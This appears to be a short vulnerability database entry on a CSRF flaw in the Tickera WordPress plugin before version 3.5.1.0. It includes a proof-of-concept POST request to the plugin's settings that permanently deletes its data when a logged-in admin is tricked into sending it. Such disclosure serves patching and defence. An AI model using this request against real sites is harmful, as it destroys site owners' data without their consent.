Tickera < 3.5.1.0- Plugin Data Deletion via CSRF

2022-12-2300:00:00

rezaduty

207

tickera

plugin

vulnerability

data deletion

csrf

exploit

EPSS

0.001

Percentile

33.7%

JSON

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged-in admin change them via a CSRF attack.

1. Navigate to Tickera Settings » Delete info
2. Delete info request intercept like that

POST /wp-admin/edit.php?post_type=tc_events&page=tc_settings&tab=tickera_delete_info

tc_delete_plugin_data%5Btickera%5D=yes&tc_delete_selected_data_permanently=Delete+selected+data+permanently

EPSS

0.001

Percentile

33.7%

JSON

Related for WPEX-ID:06E1BE38-FC1A-4799-A006-556B678AE701